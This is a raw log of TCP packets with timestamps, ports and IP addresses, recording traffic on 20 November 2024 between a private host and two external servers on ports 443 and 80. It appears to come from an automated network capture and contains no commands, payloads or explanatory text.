Nov 20, 2024 07:56:32.069871902 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.075449944 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.075474024 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.075764894 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.075823069 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.149152040 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.195341110 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.350197077 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.350302935 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.350403070 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.350475073 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.359553099 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:32.359580994 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.368149042 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.373701096 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.373811007 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.373878956 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.379159927 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.962903976 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.962941885 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.962970972 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.962980032 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963004112 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963009119 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963027954 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963042021 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963052034 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963052034 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963052034 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963061094 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963062048 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963073015 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963093996 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.963094950 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963100910 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.963129044 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.968157053 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.968189955 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.968208075 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.968230963 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.968242884 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:32.968250990 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:32.968278885 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051387072 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051404953 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051420927 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051431894 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051440001 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051465988 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051467896 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051467896 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051501989 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051628113 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051645994 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051660061 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051668882 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051672935 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051682949 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051698923 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.051706076 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051723003 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.051728964 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.052428961 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.052472115 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.052509069 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.052522898 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.052537918 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.052558899 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.052571058 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.052963972 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053005934 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053040028 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053050041 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053066015 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053076029 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053076029 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053097963 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053107023 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053869009 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053880930 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053895950 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053917885 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.053920031 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053920031 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053946972 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.053977013 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.057435036 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.057455063 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.057487011 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.058116913 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.139914036 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.139940977 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.139966011 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.139976025 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.139990091 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140002012 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140007973 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140012026 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140007973 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140028000 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140041113 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140042067 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140042067 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140055895 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140064001 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140075922 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140089035 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140198946 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140234947 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140280008 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140290976 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140328884 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140341043 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140433073 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140444040 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140485048 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140485048 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140605927 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140616894 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140633106 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140645981 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140650034 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140660048 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140660048 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140676975 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140686035 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140691042 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140695095 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140711069 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140742064 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.140758991 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140769958 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140784979 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.140810966 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141489029 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141513109 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141524076 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141541004 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141551018 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141566992 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141580105 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141624928 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141634941 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141649961 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141665936 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141668081 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141679049 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141680956 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141691923 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141702890 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.141705036 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141719103 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.141733885 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.359152079 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.359251976 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:33.811103106 CET	80	49164	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:33.811208010 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:34.351767063 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:34.351809978 CET	49164	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:34.388900042 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:34.388932943 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:34.388982058 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:34.398787022 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:34.398804903 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.006823063 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.006880999 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.012293100 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.012314081 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.012593031 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.012635946 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.085285902 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.127337933 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.285305023 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.285475016 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.285480022 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.285572052 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.286758900 CET	49165	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:35.286787987 CET	443	49165	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:35.296103954 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.301090002 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.301178932 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.301343918 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.306191921 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.879904032 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880012035 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880037069 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880048990 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880072117 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880080938 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880084038 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880099058 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880111933 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880119085 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880125999 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880141020 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880153894 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.880176067 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880176067 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880176067 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880176067 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.880192041 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.885080099 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.885117054 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.885158062 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.885215044 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.885215044 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.886173010 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.966939926 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.966962099 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.966984987 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967063904 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967123985 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967134953 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967175961 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967176914 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.967187881 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967204094 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.967206001 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.967216969 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.967230082 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.968079090 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.968091011 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.968106985 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.968143940 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.968175888 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.968188047 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.968199015 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.968200922 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.968216896 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.968225002 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.969084978 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.969098091 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.969115019 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.969130993 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.969141006 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.969144106 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.969150066 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.969162941 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.969165087 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.969172955 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.969197035 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:35.970010042 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:35.970057964 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054016113 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054048061 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054076910 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054086924 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054101944 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054115057 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054130077 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054140091 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054142952 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054143906 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054143906 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054151058 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054143906 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054167986 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054183006 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054183006 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054183006 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054191113 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.054194927 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054455042 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.054465055 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055021048 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055073023 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055075884 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055093050 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055107117 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055114031 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055116892 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055149078 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055439949 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055485964 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055510998 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055547953 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055556059 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055572987 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055593014 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055605888 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055613995 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055624962 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055634975 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055645943 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055651903 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.055668116 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.055686951 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056422949 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056489944 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056515932 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056531906 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056552887 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056555033 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056560993 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056570053 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056587934 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056591034 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056597948 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056605101 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056624889 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.056638956 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.056657076 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.057357073 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.057400942 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.057411909 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.057415009 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.057435036 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.057437897 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.057442904 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.057455063 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.057491064 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.081865072 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081897974 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081917048 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081935883 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081947088 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081963062 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081979990 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.081995964 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.082036972 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.082629919 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141196012 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141293049 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141303062 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141330004 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141343117 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141369104 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141380072 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141391039 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141402006 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141407967 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141402960 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141418934 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141434908 CET	80	49166	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:36.141436100 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141436100 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141448975 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141463995 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141809940 CET	49166	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:36.141968966 CET	80	49166	192.3.243.136	192.168.2.22
